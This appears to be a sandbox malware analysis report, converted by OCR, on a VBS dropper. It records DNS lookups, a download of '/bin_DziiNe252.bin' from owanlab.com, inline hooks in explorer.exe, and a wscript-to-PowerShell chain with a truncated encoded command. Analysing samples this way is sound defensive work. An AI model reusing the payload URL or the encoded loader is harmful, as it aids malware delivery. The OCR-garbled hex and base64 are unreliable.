Jan 21, 2022 17:25:54.794028997 CET
Jan 21, 2022 17:25:54.794389009 CET
Jan 21, 2022 17:25:54.794408083 CET
Jan 21, 2022 17:25:54.794469118 CET
Jan 21, 2022 17:25:54.794483900 CET
Jan 21, 2022 17:25:54.794503927 CET
Jan 21, 2022 17:25:54.794898033 CET
Jan 21, 2022 17:25:54.794934988 CET
Jan 21, 2022 17:25:54.794990063 CET
Jan 21, 2022 17:25:54.795002937 CET
Jan 21, 2022 17:25:54.795012951 CET
Jan 21, 2022 17:25:54.795057058 CET
Jan 21, 2022 17:25:54.837008953 CET
Jan 21, 2022 17:25:54.837084055 CET
Jan 21, 2022 17:25:54.837119102 CET
Jan 21, 2022 17:25:54.837132931 CET
Jan 21, 2022 17:25:54.837166071 CET
Jan 21, 2022 17:25:54.837204933 CET
Jan 21, 2022 17:25:54.837259054 CET
Jan 21, 2022 17:25:54.837668896 CET
Jan 21, 2022 17:25:54.837686062 CET
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Source Port
49823
443
49823
443
443
49823
443
49823
49823
443
443
49823
443
49823
443
443
443
49823
443
49823
49823
443
443
49823
443
49823
49823
443
443
49823
443
49823
49823
443
443
49823
443
49823
443
443
49823
443
49823
443
443
49823
443
49823
49823
443
443
49823
443
443
49823
49823
49823
443

Dest Port
443
49823
443
49823
49823
443
49823
443
443
49823
49823
443
49823
443
49823
49823
49823
443
49823
443
443
49823
49823
443
49823
443
443
49823
49823
443
49823
443
443
49823
49823
443
49823
443
49823
49823
443
49823
443
49823
49823
443
49823
443
443
49823
49823
443
49823
49823
443
443
443
49823

Source IP
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
192.168.2.4
192.168.2.4
157.7.107.166

Dest IP
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
157.7.107.166
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
192.168.2.4
192.168.2.4
157.7.107.166
157.7.107.166
157.7.107.166
192.168.2.4
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UDP Packets

Timestamp

Jan 21, 2022 17:25:52.425013065 CET
Jan 21, 2022 17:25:52.672385931 CET
Jan 21, 2022 17:27:08.573812008 CET
Jan 21, 2022 17:27:08.597714901 CET
Jan 21, 2022 17:27:10.668698072 CET
Jan 21, 2022 17:27:10.688636065 CET
Jan 21, 2022 17:27:10.694746017 CET

Jan 21, 2022 17:27:10.715939045 CET

DNS Queries

Timestamp

Jan 21, 2022 17:25:52.425013065 CET
Jan 21, 2022 17:27:08.573812008 CET
Jan 21, 2022 17:27:10.668698072 CET

Jan 21, 2022 17:27:10.694746017 CET

DNS Answers
Timestamp Source IP
Jan 21, 2022 8.8.8.8

17:25:52.672385931 CET

Jan 21, 2022 8.8.8.8
17:27:08.597714901 CET

Jan 21, 2022 8.8.8.8
17:27:10.688636065 CET

Jan 21, 2022 8.8.8.8
17:27:10.715939045 CET

HTTP Request Dependency Graph

e owanlab.com

HTTPS Proxied Packets
Session ID Source IP
0 192.168.2.4
. kBytes
T
imestamp transferred

2022-01-21 16:25:53 UTC 0

2022-01-21 16:25:53 UTC 0

2022-01-21 16:25:54 UTC 0

Copyright Joe Security LLC 2022

Source Port Dest Port Source IP Dest IP
56794 53 192.168.2.4 8.8.8.8
53 56794 8.8.8.8 192.168.2.4
56534 53 192.168.2.4 8.8.8.8
53 56534 8.8.8.8 192.168.2.4
56627 53 192.168.2.4 8.8.8.8
53 56627 8.8.8.8 192.168.2.4
56621 53 192.168.2.4 8.8.8.8
53 56621 8.8.8.8 192.168.2.4
Source IP Dest IP Trans ID OP Code Name Type Class
192.168.2.4 8.8.8.8 0Ox2ac5 Standard query  owanlab.com A (IP address) IN (0x0001)
(0
192.168.2.4 8.8.8.8 0x93dd Standard query  www.ordemt A (IP address) IN (0x0001)
(0) .com
192.168.2.4 8.8.8.8 0xc646 Standard query  www.ordemt A (IP address) IN (0x0001)
(0) .com
192.168.2.4 8.8.8.8 0x2370 Standard query  www.ordemt A (IP address) IN (0x0001)
0) .com
Dest IP Trans ID Reply Code Name CName Address Type Class
192.168.2.4 0x2ac5 No error (0) owanlab.com 157.7.107.166 A (IP address) IN
(0x0001)
192.168.2.4 0x93dd Name error (3) www.ordemt none none A (IP address) IN
.com (0x0001)
192.168.2.4 0xc646 Name error (3) www.ordemt none none A (IP address) IN
.com (0x0001)
192.168.2.4 0x2370 Name error (3) www.ordemt none none A (IP address) IN
.com (0x0001)
Destinati
Source Port Destination IP estination Process
Port
49823 157.7.107.166 443 C:\Program Files (x86)\Internet Explorer\ieinstal.exe
Direction Data
ouT GET /bin_DziiNe252.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: owanlab.com
Cache-Control: no-cache
IN HTTP/1.1 200 OK
Date: Fri, 21 Jan 2022 16:25:53 GMT
Content-Type: application/octet-stream
Content-Length: 190016
Connection: close
Server: Apache
Last-Modified: Thu, 20 Jan 2022 23:57:09 GMT
Accept-Ranges: none
Vary: Range,Accept-Encoding
IN Data Raw: 1b 6f e2 ea 1c a6 3a 1a 86 70 89 17 ab 2a 8b dd 48 51 f3 1b 80 de ac 97 69 25 e5 e7 cf e4 92 {6 84 5a 56 ae

6e 4b 86 a4 3a 79 78 f5 f9 47 c8 ae ac 9c 7f 8b 63 b4 c0 dc 2a 11 6a 28 da bd c4 0f 21 b3 36 bf 3e af 72 6a 20 5c b8 5b
4b 07 74 fd 46 94 13 ca 1e e6 88 3d d2 74 1c fa 76 69 b4 2c fd b7 23 46 24 ce 49 be fc f4 64 9e a4 d5 f1 b0 6f 33 f7 a9 8f
06 42 7f e6 6b c6 26 8¢ dO 1c 9a 96 99 10 94 00 4a 51 46 c9 15 40 9a 9d 7f 96 fb a0 a3 12 ec 52 a5 bb 9e 4c 25 56 f0 f4
3077 3568 49 73 b3 f6 1b 7b 6b 92 70 dc 11 13 Ob f3 c0 17 78 91 3f 8e cO ce bb 65 64 f0 ad 38 87 e7 4e ef bb 80 a9 78
b4 63 0f 04 db ff 10 5a 96 af 8e 53 40 f1 3e d6 90 a7 e0 7d 22 cf €5 Oc b9 87 b8 3 89 35 fa 3e 76 1c 6b 49 f1 9a 37 le
24 1cec 2247 17 04 41 05 72 02 2c c7 ff c9 87 1d 7a

Data Ascii: 0:p*HQi%ZVnK:yxGc*j(16>rj \[KtF=tvi,#F$1do3Bk&JIQF @RL%VOw5hIs{kpx?ed8NxcZS@>}"5>VkI7$"GAr,z
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kBytes

Timestamp transferred Direction
2022-01-21 16:25:54 UTC 16 IN
2022-01-21 16:25:54 UTC 32 IN
2022-01-21 16:25:54 UTC 48 IN
2022-01-21 16:25:54 UTC 64 IN
2022-01-21 16:25:54 UTC 80 IN
2022-01-21 16:25:54 UTC 96 IN
2022-01-21 16:25:54 UTC 112 IN
2022-01-21 16:25:54 UTC 128 IN
2022-01-21 16:25:54 UTC 144 IN

Copyright Joe Security LLC 2022

Data

Data Raw: a2 f7 cb e8 88 85 3d 02 b5 32 af bb 6a 5¢ 43 27 dc 6e 5e 11 ff ca 42 6a 32 50 92 d5 2d d1 3e 08 fb 70 3¢ b9
2905 86 db 9d c3 9e al 69 d3 75 f1 9b Oe b6 Oc 45 1e d9 la 36 2e ff c9 04 28 1f f8 15 20 7d d3 01 b7 e0 b6 43 d6 81 ff
63 76 ab 9b 33 91 c2 45 b2 fb 93 7a 03 e4 09 7d df 3a 53 74 63 c0 e7 6f 6¢ 2e f6 65 28 50 8d 03 20 68 3b 74 c¢7 00 42 81
79 cd 98 b9 1d 41 82 68 6a 89 eb fa 7f e2 ca 2d fd 3a ac 66 6d ce 49 ef 71 61 1c 60 5b 2a a3 e6 87 84 99 a9 8f 85 86 37
65 d5 32 2f 4c d0 1c 17 1f c6 72 85 00 77 de d7 e3 ad 41 a2 7d d5 4c Ob c2 d0 32 19 e9 be ff 6f 93 dc 7d 93 95 5e 6d 40
95 26 39 5d 58 f1 05 05 b2 92 24 a5 5¢ 44 a0 b1 28 47 1d 1f dd cc c3 32 85 68 9a ae 52 86 20 49 45 47 88 43 7f fa 66 b6
eb 49 2f 69 3c 4c bd df 7f 32 3d 87 15 0d 4c 14 2d 73 ba

Data Ascii: =2j\C'n"Bj2P->p<)iuE6.( }Ccv3Ez}:Stcol.e(P h;tByAhj-:fmiga’[*7e2/LrwA}L20}"m@&9]X$\D(G2hR IEGCHI/i
<L2=L-s

Data Raw: 89 03 75 7e fc 05 41 93 26 26 6b 80 7b 07 01 86 3c 78 f9 €9 52 53 7f 66 eb a4 a8 46 87 1c f8 69 12 eb 93 4f
63 77 09 b8 b4 55 a8 e2 ca 60 da 8e e8 7c e3 54 65 68 0f 43 17 1a 3f 6d ab 38 bb 56 af 5b ¢7 d2 ed fd 68 cd f6 62 b4 af
9c c3 4e 34 8d ed e7 c3 5b 5b ed 22 5d 68 Ob 27 a5 d0 00 36 0a 64 7f dd 28 52 cf 6f 50 2d 42 31 c7 aa f2 14 dc 4b 26 b9
df 06 c4 03 68 52 84 a9 3e 84 09 39 9e ae 15 8a 9c ad e7 77 €7 Oc 2e 2e 2e 05 56 9c 75 8f d7 38 07 9c 37 33 8e fe 13 bf
1170 ca 1d fc 1d 08 53 1a 45 bc 94 fd b7 23 ae 84 3 48 be 3b f2 78 9e a4 d5 36 f6 6b 33 f7 a9 8f 8d 15 5b 6f 3d ce ad Ob
f0 95 dc 94 0d e5 b6 89 b0 48 00 bf 99 c2 12 58 d7 94 87 42 97 0a 15 66 d2 83 54 2¢ 48 76 93 cb 03 da b5 3a a6 c8 08
06 cd 13 02 e7 92 5e ba 02 48 25 32 Oe 08 7e 1f a8 48 03

Data Ascii: u~A&&k{<xRSfFiOcwU’|TehC?m8V[hbN4[["]h'6d(RoP-B1K&hR>9w...Vu873pSE#H;x6k3[0=HXBfT,Hv:"H%
2~H

Data Raw: 3a 9a 42 a8 2d 6d 4c a2 40 67 d3 93 83 68 80 9d 9d 0d a7 Oe c4 09 cb 64 e7 eb bc eb df 50 1d b9 29 57 5b 70
89 03 ac 5a f8 e4 11 80 fc 98 3d 87 35 Ob e0 22 35 52 3e 87 db 6f 6b ba e8 65 64 ec 77 dc 26 29 9b 3e 4b 8a 45 7f 0d de
49 bc 6¢ 80 f1 e6 fd 32 a2 3f 4b 59 52 6e 0d 29 5f 1b 3d d0 3d eb 10 a9 ad d0 6e ef bf 1a 3e be 7 62 78 1c 9d c3 46 ad
89 bf cc c0 12 bb ac 6a 23 4c d1 44 d0 f0 6a 7d 02 07 dc 0d eb df d2 e9 01 af e0 fc 48 3e 73 00 9c 4a fa 14 c¢7 db 47 c5 cf
€0 70 81 46 69 el c3 6b bf ad 02 ec ae 0f aa 5d €8 73 64 a6 ac 9a f5 11 05 3b 38 1f 74 35 Oe 85 2d 43 c5 99 bb 0b fd fa f4
69 f9 97 f6 30 be fd b7 23 c5 9a 06 45 be fc f4 6b 1a 21 d5 f1 b0 e4 4e 03 2¢ 70 72 3c 15 e7 01 c6 ce 78 el 1d 9a 1b 46
a8 ca 8d 68 64 9d e8 ad 13 85 06 b6 20 07 36 2f bl

Data Ascii: :B-mL@ghdP)W[pZ=5"5R>0kedw&)>KEII2?KYRn)_==n>bxFj#LDj}H>sJGpFik]sd;8t5-Ci0#Ek!N,pr<xFhd 6/

Data Raw: bc 29 9b ca 15 27 97 77 46 0a 58 f9 db 76 0f 26 53 79 c0 e2 db ec c6 11 eb f0 79 05 cc b9 3f 6d c8 4b 70 b5
ba Of f4 ae f1 al 30 5f fd 67 3b d9 8b 34 7d 32 08 5d 9b e6 57 e7 23 11 e2 66 e4 7c 6a f9 1f 69 b5 40 Oe 02 d8 51 aa d8
a8 2e 11 d7 24 e5 07 f6 ca f4 e2 88 7f 99 a8 60 9e 81 3b 66 3e bc dc ef 60 c4 fb 7a 16 30 d7 3b d2 a8 d3 ba d8 80 84 33
6e bl ae 38 23 87 26 ac a5 7c 86 ce 73 b2 4b 6a 9e 52 85 71 a5 8f 60 de 34 95 63 2a 2f 1f 32 6f 62 3c 46 f6 d3 6¢ 5e 18
9b 9d 64 66 a8 c1 3c 60 5b 2f 53 67 02 07 28 1d eb df 01 47 19 9a be 2a 4d 4f 22 ¢3 17 8c cf 03 cc a9 15 3a 19 Oc e7 8d
5f 78 f6 45 Oa 8 45 ba 21 ad e7 aa a8 el 2c b3 8d 24 97 37 e3 8f b6 d7 bd 73 43 2d d7 57 cd c2 96 b2 57 00 05 88 46 53
7f 6 09 2c fd 34 e7 4e 7b 90 12 35 19 a9 a7 92 84 38 a9

Data Ascii: )'WFXV&Syy?mKp0_g;4}2]W#ji@Q.$";f>z0;3n8#&|sKjRq 4c*/20b<FINdf<[/Sg(G*MO";_XEE!,$7sC-
WWEFS,4N{58

Data Raw: 72 6f 4d 46 5b 03 94 50 ce 1c 6b b5 b4 a7 4e 55 d1 40 dO c2 91 3a e0 bf dd b1 7e 9f ec 50 36 ¢5 7c 2d 30 68
29 be 23 d5 da 75 f6 21 69 9c 48 30 24 a9 cb 64 5f f4 27 8e 5e 6e c6 11 08 ac ff 8c 41 68 4f 4e cc 3f 1a b0 ca a5 7 ac f6
1b 16 21 bf 98 b8 96 12 ed 40 b9 b2 88 16 7b b1 32 75 13 69 eb 31 04 41 ff 6b 03 81 €9 19 6¢ 7f fc 03 b3 3c 82 94 17 da
79 3¢ 57 06 cb d3 43 c9 ae 6a 66 8e f9 €8 2a be bb ac 9d 4b 6e 57 d6 ca ef 02 43 f1 ac 7d 17 d8 80 84 bf Ob 4e 51 38 23
df fc 32 64 6f 0d 43 17 16 3f 70 90 cO a8 3a 12 ef f4 {7 ea fb d2 6a 48 ca 35 19 c0 cf 9b ¢3 77 07 d6 85 93 63 57 a6 78 c7
b1 c2 67 5d 45 f6 07 bf 72 2d 91 df 82 08 4c 01 6b €0 62 aa 7f 00 17 5¢c bb 75 66 86 6¢ 84 78 87 a8 00 8a c0 c5 31 d3 1e
ad 8b 9c ae 2c a0 21 3d ca e5 d6 af 72 e3 55 dc 5d

Data Ascii: roMF[PKkNU@:~P6|-0h)#uliH0$d_""nAhON?!@{2uilAkl<y<WCjf*KnWCINQ8#2doC?p:jH5wcWxg]Er-Lkb\uf
Ix1,!=ru]

Data Raw: 35 ¢3 cd 65 57 9f 68 17 9f 9c 25 62 13 63 be 8d 37 e6 d6 f0 37 93 05 49 73 2b 7a dd 1e c5 26 ea 22 c8 9d b7
7d 84 3f a9 a4 fc 77 01 a9 18 2e a4 c2 1d ed 51 d0 8c c4 1b 3c 23 8f 32 58 e6 c8 88 98 96 59 94 a0 72 f6 1e 24 d1 66 5f
eb 1f 86 ac 23 21 50 f9 db 32 8f 38 9a bb cf 66 1a 67 40 b9 74 b5 fd df 17 22 86 aa 67 c1 e5 el 47 18 05 ce 5f Oc 53 28 e8
73 3b 52 83 fd 78 31 08 f2 9f 83 1f 62 e4 11 69 eb ed 69 al 42 94 fc bb be 9b bf 04 96 04 cc 07 71 43 81 47 93 4c f6 ca

80 06 60 38 f3 a9 6e 1f 3d e6 68 43 10 de ef cf 1a 3c 10 5¢ bd 8f c6 7f bf b4 a8 88 d6 6f 6¢ 59 a5 ae bb 64 0f a7 el 58 56
ca 4317 4d e4 7d 3d 40 7a 24 26 46 96 91 bf 70 54 €9 29 c7 ce c3 10 47 7 37 81 3¢ 08 a0 73 Oa 25 66 23 26 55 f5 el 5d
8d ce a8 10 65 d1 bd 37 04 ac fe 3a 6b 7 6e be 7f

Data Ascii: 5eWho%bc77Is+2&"}?w.Q<#2XYr$f_#P28fg@t"gG_S(s;Rx1biiBgCGL 8n=hC<\olY dXVCM}=@z$&FpT)G7<s%
f#&U]e7:kn

Data Raw: 95 b9 bc d2 18 0a 39 70 8d 67 b0 16 63 c1 51 a0 b4 58 6b 03 0f 55 48 58 ec 20 3b 84 49 d0 81 7d 1d Ob 8e bc
89 6b 8b 83 f8 ed ae 4f 4d d5 a0 e7 1a €8 53 5a 20 09 f3 58 a2 1e d6 al ec 2a 7a al 59 45 7a 89 b8 bc 3c 15 35 9e fe fb
a4 2e 8d 3c 71 1e c2 33 df f8 f2 d7 7c e5 40 b4 2b a8 57 44 5¢ 5 ef 60 79 00 al Ob e5 7a 60 b2 09 f7 99 ca 69 b1 df a4 6e
ad ba 8d 69 ed 40 57 c2 e8 44 2b 0a be 4d 44 6¢ e4 af 71 91 60 02 eb 33 3 25 bc 84 48 0a fe a0 3 85 6d d4 fa ee fb 69
06 42 37 a2 86 21 58 18 2f 2f 94 9f 9e b9 b2 55 58 c9 3f b9 5d eb b3 82 eb 0a c5 07 71 79 71 c7 46 97 63 35 61 88 98 a7
b6 al bd 33 c6 €6 12 44 6f e5 08 1a 57 dc fe 10 f0 9f 97 47 57 d4 17 58 53 ac 92 3b 09 af bb e7 cb fd 31 1f 04 b2 43 e7 f9
2b fb 98 88 96 af €0 d8 0d 45 87 71 4a e2 29 ee 42

Data Ascii: 9pgcQXKUHX ;I}kOMSZ X*zYEz<5.<q3|@+WD\'yz ini@WD+MDIq 3%HmiB7!X//UX?]qyqFc5a3D
O0WGWXS;1C+EqJ)B

Data Raw: f9 4f af 30 45 85 ae 93 c8 ed 80 23 25 9b 47 9b 86 71 72 33 84 33 a3 69 8 36 d1 al 4c 3e 59 ce 86 d2 fa 74
42532470 ead5 93 a2 7e ad d3 11 b9 35 00 20 76 c3 c3 64 be 89 b0 89 f9 3b b2 7b 96 63 fb 28 92 66 €6 8b d4 26 c4
81 3092 6b €0 07 bd 67 1d 9d d0 cO d8 1d 95 67 e6 c2 36 7a 3f 0d aa 5f e2 dc 70 54 48 f8 3¢ 7e 2e 6b 2f c5 d3 a0 6f 31
06 42 dd 45 6d 10 a5 bb c5 c9 e7 da fa 30 74 d1 56 c3 9c 2e 4d a4 ef ba cd da f1 a4 9e bc 2e 41 69 bf 4a 6b b4 03 5e 4b
64 18 6a b2 f1 dc €6 29 61 0a a0 ed 20 77 06 c9 c3 d7 ba 84 7b 29 8c 6b 8b 2f dc 9 f6 cd 81 32 2e 62 5b 19 e7 ee b0 47
b2 fe 3f 49 1c 7d c8 18 6e 9b ea 92 14 37 7a 85 f2 Of 9b 0a 98 70 5e fa fO 84 e6 b9 Oc 7a fd 54 29 54 81 a2 4d Oc 08 al 45
02 d1 11 77 05 f6 4b 1d 09 8d 7f dc 16 c4 7c 04 7e c3 34

Data Ascii: O0E#%Gqr33i6L>YtBS$p~5 vd;{c(f&0kgg6z?_pTH<~.k/o1BEmOtV.M.AiJk"Kdj)a w{)k/2.b[G?I}n7zp"z
T)TMEWK|~4

Data Raw: ad dc b0 1b eb f2 df d6 cc 58 ec ae 1a 2¢ 1b 14 0a 53 63 7a 00 a9 c0 71 8a 70 39 a8 94 41 5d 24 a5 d3 2a f1
ac 47 95 87 6f 25 77 d2 13 b3 b7 19 1d 35 20 af df 9d b4 49 b4 b8 33 ec 5¢c 94 dc e0 3a 4f 9b a3 0a b4 13 c9 71 f6 45 ec
68 eb Oe cd a9 33 61 d2 c2 f9 el 00 d1 5e e4 01 b3 bf be 80 f9 e2 9a e9 cf 41 35 f6 d0 15 28 69 6a b5 71 aa 54 94 53 89
al fd 4f 46 1d ee d5 el 74 78 b3 56 d9 b5 Oc 2c 15 0b 96 8e cb fb 1a 6a d0 10 8c fa 32 al 02 03 02 e8 3a 9e c7 16 f1 9a
7e 2f e1 3896 e0 db fb 3c ea bb 94 17 ca Ob c9 66 da 64 5b le 4a Oc 7e c4 21 07 88 84 36 83 5f a2 c5 2f 75 dd bb 28 21
d0 a8 d4 9c 75 a8 3a 97 48 6a aa 69 cc 18 7b c2 bl b8 bc 5e 3d a8 5f c2 d4 6¢ ba 7d dO c3 a4 12 Ob a8 76 5b 5e 1c 86
cd 3f 28 ¢7 ac da 15 53 35 45 f1 10 02 8d 33 cb f7 d5 58 2b

Data Ascii: X,Sczqp9A]$*Go%w5 13\:0qEh3a”A5(ijqTSOFtxV,j2:~/8<fd[I~16_/u(lu:Hji{"=_[}v[*?(S5E3X+
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kBytes

Direction
transferred

Timestamp

2022-01-21 16:25:54 UTC 160 IN

2022-01-21 16:25:54 UTC 176 IN

Code Manipulations

User Modules

Hook Summary
Function Name
PeekMessageA
PeekMessageW
GetMessageW

GetMessageA

Processes

Process: explorer.exe, Module: user32.dll
Function Name

PeekMessageA

PeekMessageW

GetMessageW

GetMessageA

Statistics

Behavior

Data

Data Raw: 92 cf 99 62 13 c6 38 50 59 f8 c5 3e ef 40 f6 5e 7f 6a 21 93 3d 35 5e d7 e3 e3 bd 67 25 2d b3 3d fd f2 a6 09 2a
43 85 63 38 b1l c9 30 2b 87 82 a4 ac 58 d3 07 b0 76 7f 19 52 ff c8 8e 88 fc 6b 49 3e 61 dd b5 5 dd af f9 f3 3¢ 87 70 63 49
7183 04 50 9c f0 96 99 95 47 49 54 6¢ fb 1d 44 71 Oc 41 e2 31 82 6e ce 2e 53 f2 al c3 64 fb f3 46 fa a2 be 01 c9 cf 4f 13
17 82 a1 89 8d 00 27 49 d4 0f 70 c2 97 bc 63 72 f8 bd 43 d1 da cO 1b 8b 54 39 6f 8e fe 5d 24 4d 61 7c 5e 9c da b6 a6 1c
8 6¢ fc d5 c8 cc af 5f dO 71 04 ¢3 96 11 8b 7f 69 46 d5 d5 53 e5 38 e2 49 5b 54 db 4f 51 e6 55 4a db 2c 78 12 ef 32 ad
4e 6d 72 fa a0 96 ce 62 66 d8 df f8 99 f2 8f b6 b1 8b 44 59 db 30 ff 2b f6 01 89 22 b0 dd 44 da 89 55 fb 8c 3e 2f c6 4a bf
b0 dc 48 20 fO 6¢ 63 7f 6a 96 4b a4 88 2b 02

Data Ascii: b8PY>@"j!=5"g%-=*Cc80+XVRkI>a<pclgPGITIDgA1n.SdFO'IpcrCT90]$Ma|_giFS8I[TOQUJI,x2NmrbfDY
0+"DU>/JH IcjK+

Data Raw: 45 a3 87 37 bd f8 57 91 7b 08 27 b8 8¢ 87 69 Oa ae d4 dd 6b ee bb c1 71 4b df db 78 80 ba 40 e5 9d b6 7c 6e
6f 40 08 51 83 6a 4c 41 11 06 02 21 2d 87 al d4 66 0d 87 cc 75 dd ba e4 b4 53 f7 de 48 49 42 a2 b3 91 2c 02 f2 fb 8e Oc
3d bd e7 81 d7 31 02 1f ca c5 d9 a0 b9 6f d2 00 6d fc 74 44 5d 5a 1a b0 f1 5¢c e5 41 7e 98 0d 74 84 41 84 ba 16 92 55 a5
€2 68 18 6 9a 9b 7a f1 Oe 9e 8d 84 4a 56 a9 dc 2d 66 8f a9 89 66 da e3 ba 21 4d ec 7c b6 10 e2 76 76 09 6b e9 4e 91
35 8f de 13 49 76 50 9a cf 38 €9 74 07 33 31 08 01 93 e9 c9 0f 25 28 70 b1 80 54 8d 89 e5 9a e2 38 72 02 3b b7 d8 16 cc
39 d2 e7 08 d9 57 fO b4 74 a7 8f 3d 09 5a 97 36 a7 c4 79 48 f6 18 24 9e ee cc 47 45 27 49 1a 42 c5 66 ee fb fb Oe d5 2¢
ae 1a 6ff0 79 96 51 a2 6d a7 b4 fa c3 c1 f5 b0 2d 79 2d ca

Data Ascii: E7W{'ikgkx@|no@QjLA!-fuSHIB,=1lomtD]Z\A~tAUhzJV-ffIM|vwvkN5IvP8t31%(pT8r;9Wt=Z6yH$GE'IBf,0yQm-y-

Hook Type
INLINE
INLINE
INLINE
INLINE

Hook Type
INLINE
INLINE
INLINE
INLINE

@
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Click to jump to process

Active in Processes
explorer.exe
explorer.exe
explorer.exe

explorer.exe

New Data

0x48 0x8B 0xB8 0x89 Ox9E OxEO
0x48 0x8B 0xB8 0x81 Ox1E OxEO
0x48 0x8B 0xB8 0x81 Ox1E OxEO
0x48 0x8B 0xB8 0x89 Ox9E OxEO

@ wscript.exe

@ powershell.exe
@ conhost.exe

@ csc.exe

@ cvtres.exe

@ ieinstal.exe

@ explorer.exe
@ svchost.exe

® cmd.exe

@ conhost.exe
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System Behavior

Analysis Process: wscript.exe PID: 5172, Parent PID: 3424

General

Start time: 17:23:14

Start date: 21/01/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\New _Inquiry P.04622.vbs"
Imagebase: 0x7ff73d2b0000

File size: 163840 bytes

MDS5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 4676, Parent PID: 5172

General

Start time: 17:24:27

Start date: 21/01/2022

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true
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Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "lwBMAEEAQWBUAEKARgBFAFIATWAJAGIAcgBIAGCAbwWA
gAEsAbgBVAGIAZQBOAHMAZgBYAGKAOQAJAEJAZQBZAHQAMWAYAECACgBIAGUACWBVAGOANAAJAECAZQBUAGUACGBhAGWAaQBzACA
AQQBGAEOARQBKACAAYgBIAGEAdgBIAHIAIABCAEKAQYBMAEKATWBHAFIAIABEAGQAbQBhAG4AZABzAGSAbgALACAAbgB1IAGWADABPAGAAIABSA
G4AcABVAHQACWB5AHMAJABIACAAVABOAHIAZQBhAHAAZQBKAGEAZGAgAEBAdQBOAHCACYBIAHMAIABHAFQARQBWAEKAVgAgAFUAbgBZAGYAYQB
JAGsAbABpPADgAIABJAG8AcgBYAGUAIABMAEEAUgBNAEUATYBTAEYAIABEAGKACWBOAGKAbgBNAHYAOAAJAGQAaQBzAGUAbQBIAGSAIABIAFKAU
ABFACAAVQBUAGYAaQBsADKAIABWAEEATGBEAEIAUgBOAEQAQQAJAECAZQBUAGAAZQAJAEIAZQBIAGUACWBOAHIAZQAOACAAaQBUA
GQACABhACAAQYBpAHQACWB5AGWAZQAGAFQAZQBYAGAAY QBZAGYAZQAGAESAbWBIAGEACgBKACAADQAKAAOACJANAAOAQQBKAGQAL
QBUAHKACABIACAALQBUAHKACABIAEQAZQBMAGKAbgBpAHQAaQBVAGAAIABAACIADQAKAHUACWBPAGAAZWAJAFMAeQBZAHQAZQBA
DsADQAKAHUACWBpAGAAZWAJAFMAeQBzAHQAZQBIAC4AUgB1AGAAdABPAGOAZQAUAEKAbgBOAGUACgBVAHAAUWBIAHIAdgBpAGMAZQBzADSADQA
KAHAAdQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABJAGWAY QBzAHMAIABIAHIAbgBIAGMAeQBrAGWAMQANAA0AewWANAACAWWBEAGWADABJAGOAC
ABVAHIAJAAOACIAbgBOAGQADABSAC4AZABSAGWAIgAPAFOACABLAGIAbABPAGMAIABZAHQAY QBOAGKAYWAJAGUAeABOAGUACYBUACAAaQBUAHQ
AIABOAHQAQQBsAGWAbWBJAGEAJABIAFYAaQBYAHQAdQBhAGWAT QBIAGOAbwBYAHKAKABPAGAAJAAJGAGIACGBUAGUAYWB5AGSAbAA2ACWACYBIA
GYAIABJAG4AdAAZADIAIABYAGUACWBOAGIAZQBSAGIALABpAGAAdJAAGAEQAeQBIAGIANgASAHIAZQBMACAASQBUAHQAMWAYACAAY gByAGAAZQB
jAHkAawBsACWAaQBUAHQAIABhAHAACABSAGKAZQASAGKAbgBOACAAYgBYAG4AZQBjAHKAawBsADCAKQA7AAOACYBbAEQADABSAEKADQBWAGS8AC
gBOACgAIgBrAGUACgBUAGUADAAZADIALgBKAGWADBAAIACKAXQBWAHUAYgBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABIAGA
AdJABQAHQACJAJAEMACYBIAGEAJABIAEYAaQBsAGUAQQA0AHMAJABYAGKAbgBNACAAaQBIAGOAY QBUACWAdQBPAGAAdAAGAEgAeQBWAGBAZWB5A
